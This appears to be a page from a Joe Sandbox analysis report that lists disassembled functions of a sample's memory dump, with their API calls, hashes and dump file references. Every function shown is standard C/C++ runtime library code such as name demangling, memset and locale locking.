Instruction ID: ac34102cf95f1e7dac24ff87e8958ed0dc147733e833a419e26a0d08d75db88d
Opcode Fuzzy Hash: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction Fuzzy Hash: 2E219F76B0014AAACF18DFACC9859FE7B769B04305F40416BA601E7681DEB8DAC58E18

Function 00410311 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 004104E3

Part of subcall function 0040C2B4: DName::doPchar.LIBCMT ref: 0040C2DD

DName::DName.LIBCMT ref: 00410573
DName::operator+.LIBCMT ref: 0041057A
DName::DName.LIBCMT ref: 0041059D
DName::operator+.LIBCMT ref: 004105A4
DName::operator+=.LIBCMT ref: 004105B0
DName::operator=.LIBCMT ref: 004105D7
DName::operator+=.LIBCMT ref: 004105E9
DName::operator=.LIBCMT ref: 004105FD
UnDecorator::getPtrRefType.LIBCMT ref: 00410612
operator+.LIBCMT ref: 00410624

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction ID: 4e0b224274ea32cdd1448cd60b9c4baea433d1af8387b4f0d471db0e7be46345
Opcode Fuzzy Hash: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction Fuzzy Hash: CF219F76B0014AAACF18DFACC9859FE7B769B04304F40416BA601E7681DEB8DAC58E18

Function 003CA25A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,003CA251,003C8978,003C7AFF), ref: 003CA268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 003CA276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 003CA28F
SetLastError.KERNEL32(00000000,003CA251,003C8978,003C7AFF), ref: 003CA2E1

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e7c54c1fc84b217aeacb0997faea519cb3eaa4ddb3a004f40d0e76b43c1ebaeb
Instruction ID: e3b304e87bc8624a499c6a9b4009a36efbbac89159e524a8c8504a7a83d9e3c8
Opcode Fuzzy Hash: e7c54c1fc84b217aeacb0997faea519cb3eaa4ddb3a004f40d0e76b43c1ebaeb
Instruction Fuzzy Hash: 68019E3260DB656EE63B2775BC8AF66674DEB0277DF20032DF110C94E1EB524D029346

Function 00414FA3 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00414EFA

Part of subcall function 0040AD28: __mtinitlocknum.LIBCMT ref: 0040AD3E
Part of subcall function 0040AD28: __amsg_exit.LIBCMT ref: 0040AD4A

_free.LIBCMT ref: 00414F21
__lock.LIBCMT ref: 00414F3A
___removelocaleref.LIBCMT ref: 00414F49
___freetlocinfo.LIBCMT ref: 00414F62
_free.LIBCMT ref: 00414F7F

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: __lock_free$___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 1181530324-0
Opcode ID: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction ID: c782d02d9e1431e7022cd31d80f30201ce766240e3b49dbc234a615c5409d935
Opcode Fuzzy Hash: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction Fuzzy Hash: B0119E71645304AADB20AF659406B9E73E49F8472AF20452FF094EB7D0CB3CD9C1C66D

Function 003CA371 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 003CA438
___AdjustPointer.LIBCMT ref: 003CA45B
___AdjustPointer.LIBCMT ref: 003CA4F7

Strings

R[<, xrefs: 003CA3D0

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: R[<
API String ID: 1740715915-3864648660
Opcode ID: baab2c809fa7c478244ec95f26209afd8b8925037b2e932f1ccbdac8cf7d405a
Instruction ID: 325988e1b81f6a8dfc2732de407b6e1a76de397f38e57404b31b52c5e6272a5f
Opcode Fuzzy Hash: baab2c809fa7c478244ec95f26209afd8b8925037b2e932f1ccbdac8cf7d405a
Instruction Fuzzy Hash: FA51E176605A0A9FDB2B8F56D845F7AB7A8EF00318F25452DE801CB691E771EC40CB92

Function 00405259 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040527E
_memset.LIBCMT ref: 0040528D
_memset.LIBCMT ref: 0040544D
_memset.LIBCMT ref: 0040545F

Strings

onstructor closure', xrefs: 00405262

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _memset
String ID: onstructor closure'
API String ID: 2102423945-875567771
Opcode ID: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction ID: 357477549598915b8b8912dabb44c130ca7b353f9adf8824f49fd54af6dec5a0
Opcode Fuzzy Hash: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction Fuzzy Hash: 7D51D8B1E4026E9BCB26EF25CC86ADDB3BCEB04704F4101E5A718B7151DA746F868F54

Function 00403395 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004033BA
_memset.LIBCMT ref: 0040342E
_memset.LIBCMT ref: 004034A2
_memset.LIBCMT ref: 00403516

Strings

onstructor closure', xrefs: 0040339E

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _memset
String ID: onstructor closure'
API String ID: 2102423945-875567771
Opcode ID: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction ID: fffac60bee50708834eebd0893c05533b18bd28c2545ad53144e934964958250
Opcode Fuzzy Hash: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction Fuzzy Hash: ED41C471D4021DBADB15EB60DC47FDD777CAB08304F2444A6B615A70C0EAB8AA88CF95

Function 0040CA1A Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0040CA63
DName::operator+.LIBCMT ref: 0040CA6A
DName::DName.LIBCMT ref: 0040CA8C
DName::operator+.LIBCMT ref: 0040CA93
DName::operator+.LIBCMT ref: 0040CA9A

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction ID: ec6b9d61ccb22564677b6a588d1722ef77ed700e8f6f87c28b4fe63fa477f925
Opcode Fuzzy Hash: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction Fuzzy Hash: 15016530600209EFCF14EBA4DC82EAE77B5EF44708F00416AF505AB3D2DB74D9458B88

Function 003C4436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003C4442
int.LIBCPMT ref: 003C4455

Part of subcall function 003C16B4: std::_Lockit::_Lockit.LIBCPMT ref: 003C16C5
Part of subcall function 003C16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 003C16DF

std::_Facet_Register.LIBCPMT ref: 003C4488
std::_Lockit::~_Lockit.LIBCPMT ref: 003C449E
Concurrency::cancel_current_task.LIBCPMT ref: 003C44A9

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: cf2639a629ca29aabe79ef81a9f5a3aa3b3054923d7455ae46a87513f6e69001
Instruction ID: a70792b13c341d144fff03a5dd8e6cfe20aafb40e1066696127675077fbb5b73
Opcode Fuzzy Hash: cf2639a629ca29aabe79ef81a9f5a3aa3b3054923d7455ae46a87513f6e69001
Instruction Fuzzy Hash: B901A276900214ABCB1ABF65D815FAD7B68EF81760B21055DF806EB292EF30EE01D784

Function 003C3DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003C3DBD
int.LIBCPMT ref: 003C3DD0

Part of subcall function 003C16B4: std::_Lockit::_Lockit.LIBCPMT ref: 003C16C5
Part of subcall function 003C16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 003C16DF

std::_Facet_Register.LIBCPMT ref: 003C3E03
std::_Lockit::~_Lockit.LIBCPMT ref: 003C3E19
Concurrency::cancel_current_task.LIBCPMT ref: 003C3E24

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 87d83b75c0da1bdd19aa29ceff5d9fe5fe7c16c1ce294e7d16d9e43ca56f9619
Instruction ID: 6cf9b3784874bbebc7a53da4cbc0624f86cfcb844264fa848b616fa69249397b
Opcode Fuzzy Hash: 87d83b75c0da1bdd19aa29ceff5d9fe5fe7c16c1ce294e7d16d9e43ca56f9619
Instruction Fuzzy Hash: 3F01A276900124ABCB26AF64D815EAEB768DF81760B21415DF806EB292DF35EE05D780

Function 003C4308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003C4315
int.LIBCPMT ref: 003C4328

Part of subcall function 003C16B4: std::_Lockit::_Lockit.LIBCPMT ref: 003C16C5
Part of subcall function 003C16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 003C16DF

std::_Facet_Register.LIBCPMT ref: 003C435B
std::_Lockit::~_Lockit.LIBCPMT ref: 003C4371
Concurrency::cancel_current_task.LIBCPMT ref: 003C437C

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 84c3b7ffb486eb135da949875000ec6041aa7bba76de0e1d8cabb81667cdf81e
Instruction ID: 7f68a4aba9e570c3643cdfcff7c3ee396010cca185b81a4eabc44a38f94b921c
Opcode Fuzzy Hash: 84c3b7ffb486eb135da949875000ec6041aa7bba76de0e1d8cabb81667cdf81e
Instruction Fuzzy Hash: A101A73A900568A7CB16BF64D916FDD7778AFC1750B11016DF805EB292DF30AE05DB84

Function 00414FAE Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414FBA

Part of subcall function 0041194C: __getptd_noexit.LIBCMT ref: 0041194F
Part of subcall function 0041194C: __amsg_exit.LIBCMT ref: 0041195C

__calloc_crt.LIBCMT ref: 00414FC5
__lock.LIBCMT ref: 00414FFB
___addlocaleref.LIBCMT ref: 00415007
__lock.LIBCMT ref: 0041501B

Part of subcall function 00410AEC: __getptd_noexit.LIBCMT ref: 00410AEC

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__getptd
String ID:
API String ID: 2820776222-0
Opcode ID: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction ID: eb0fe4668e9abd846e8f266fc9edf70af95d85df74a9f1ce3a1d99ef74d648e0
Opcode Fuzzy Hash: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction Fuzzy Hash: 4E01B571540705DAEB20BFB6880278C77A0AF44729F20411FF0946A6C2CB7C49C1C75E

Function 00413711 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041371D

Part of subcall function 0041194C: __getptd_noexit.LIBCMT ref: 0041194F
Part of subcall function 0041194C: __amsg_exit.LIBCMT ref: 0041195C

__getptd.LIBCMT ref: 00413734
__amsg_exit.LIBCMT ref: 00413742
__lock.LIBCMT ref: 00413752
__updatetlocinfoEx_nolock.LIBCMT ref: 00413766

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction ID: 1e1fdb236ddf9f9157e1a59b3ad0cb0dc6d51663b4662e97bda802115c3acf3c
Opcode Fuzzy Hash: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction Fuzzy Hash: 9AF02BB2940304ABD721BF769803B8D32D06F0072AF11451FF060676D2CB3C5A80DA5E

Function 003EE53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003EE606
_memset.LIBCMT ref: 003EE63B
_memset.LIBCMT ref: 003EE696

Strings

onstructor closure', xrefs: 003EE547

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _memset
String ID: onstructor closure'
API String ID: 2102423945-875567771
Opcode ID: 611464d4db714827db26cb16740027b48f579864910f9f8b1876d306c5be88dd
Instruction ID: 2eacbb78d3e9c1e441434615b51a65651b6d9f766937001e716725239e5db92a
Opcode Fuzzy Hash: 611464d4db714827db26cb16740027b48f579864910f9f8b1876d306c5be88dd
Instruction Fuzzy Hash: 1541C8B1900258ABDB245B71AC4DFDF7B7DEF89710F0003A9B109E1090DA754E54CF29

Function 003CA060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 003CA09F
__IsNonwritableInCurrentImage.LIBCMT ref: 003CA153

Strings

R[<, xrefs: 003CA16C
csm, xrefs: 003CA13D

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: R[<$csm
API String ID: 3480331319-3398539515
Opcode ID: f880c461769774aa8b8078163d306101ead72838783503b377861e166a3291fc
Instruction ID: 341698037275ba0a79e4f5d523829becd76a6a2e1a174c9079b7b707e7633d15
Opcode Fuzzy Hash: f880c461769774aa8b8078163d306101ead72838783503b377861e166a3291fc
Instruction Fuzzy Hash: 4041B430A0065C9BCF12DF69C881F9EBBB5AF44318F198159E814DB392C731EE41CB92

Function 003CB3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,003CB353,00000000,?,0044ECE4,?,?,?,003CB4F6,00000004,InitializeCriticalSectionEx,003E4BD8,InitializeCriticalSectionEx), ref: 003CB3AF
GetLastError.KERNEL32(?,003CB353,00000000,?,0044ECE4,?,?,?,003CB4F6,00000004,InitializeCriticalSectionEx,003E4BD8,InitializeCriticalSectionEx,00000000,?,003CB2AD), ref: 003CB3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 003CB3E1

Strings

api-ms-, xrefs: 003CB3C6

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 04cef179f1bc32fbd5e27f60da3ba404ea71aec8c1e3032189975cd55c88f5df
Instruction ID: 06330a9467117c4d1bff6400bffd2edaa34baa15cede0a16ba74594cc36b5ac4
Opcode Fuzzy Hash: 04cef179f1bc32fbd5e27f60da3ba404ea71aec8c1e3032189975cd55c88f5df
Instruction Fuzzy Hash: 9DE01A342842C4B7EA232BB1EC8AF597A68AB00B51F100225FA0DE81E1E7619E508684

Function 003D7747 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(07544524,00000000,00000000,00000000), ref: 003D77AA

Part of subcall function 003D952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003D8FD3,?,00000000,-00000008), ref: 003D95D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 003D7A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 003D7A4D
GetLastError.KERNEL32 ref: 003D7AF0

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

